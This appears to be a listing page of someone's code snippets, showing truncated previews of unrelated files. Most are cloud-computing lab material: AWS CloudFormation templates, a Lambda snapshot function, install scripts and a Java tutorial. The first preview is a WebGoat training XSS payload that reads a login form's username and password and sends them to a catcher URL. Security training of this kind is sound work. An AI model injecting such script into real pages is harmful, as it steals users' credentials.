This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function hack(){ | |
alert("Login="+document.forms[0].user.value | |
+ "Password="+document.forms[0].pass.value); | |
XSSImage=new Image; | |
XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher" | |
+"?PROPERTY=yes" | |
+"&user="+document.forms[0].user.value | |
+"&pass="+document.forms[0].pass.value; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
School of Digital Media & Infocomm Technology (DMIT) | |
ST1012 Programming Fundamentals | |
Tutorial 7 | |
Objects and classes | |
1. What is wrong with the following codes? | |
a) | |
public class Square { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user experience | |
server overloaded | |
web api access | |
provisioning of resources |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"AWSTemplateFormatVersion": "2010-09-09", | |
"Description": "CCA Lab 13 - v3.1: Route 53 Failover", | |
"Parameters": { | |
"VPCCIDR": { | |
"Description": "CIDR Block for VPC", | |
"Type": "String", | |
"Default": "10.10.0.0/16", | |
"AllowedValues": [ | |
"10.10.0.0/16" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"AWSTemplateFormatVersion" : "2010-09-09", | |
"Description" : "CloudFront Lab-Caching Static Files", | |
"Parameters" : { | |
"AWSAmiId" : { | |
"Description": "AMI Id to find", | |
"Type": "String", | |
"Default": "x86_64,amzn-ami-pv-2014.03.1.x86_64-ebs,amazon,ebs,paravirtual" | |
}, | |
"KeyName": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AWSTemplateFormatVersion: 2010-09-09 | |
Description: Deploy a VPC | |
Resources: | |
VPC: | |
Type: AWS::EC2::VPC | |
Properties: | |
CidrBlock: 10.0.0.0/16 | |
EnableDnsHostnames: true | |
Tags: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Snap_and_Tag Lambda function | |
# | |
# This function is triggered when Auto Scaling launches a new instance. | |
# A snapshot of EBS volumes will be created and a tag will be added. | |
from __future__ import print_function | |
import json, boto3 | |
def lambda_handler(event, context): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Install Apache Web Server and PHP | |
yum remove -y httpd php | |
yum install -y httpd24 php56 | |
# Download Lab files | |
wget https://us-west-2-aws-staging.s3.amazonaws.com/awsu-ilt/AWS-100-ARC/v5.2/lab-1-webapp/scripts/lab1src.zip | |
unzip lab1src.zip -d /tmp/ | |
mv /tmp/lab1src/*.php /var/www/html/ | |
# Download and install the AWS SDK for PHP | |
wget https://github.com/aws/aws-sdk-php/releases/download/3.15.9/aws.zip |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<powershell> | |
Install-WindowsFeature Web-Server -IncludeManagementTools -IncludeAllSubFeature | |
</powershell> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"AWSTemplateFormatVersion": "2010-09-09", | |
"Description": "CCA - Lab 6", | |
"Parameters": { | |
"KeyName": { | |
"Type": "String", | |
"Description": "Keyname for the keypair that Qwiklab will use", | |
"Default": "lab-key-pair" | |
}, | |
"DBAllocatedStorage": { |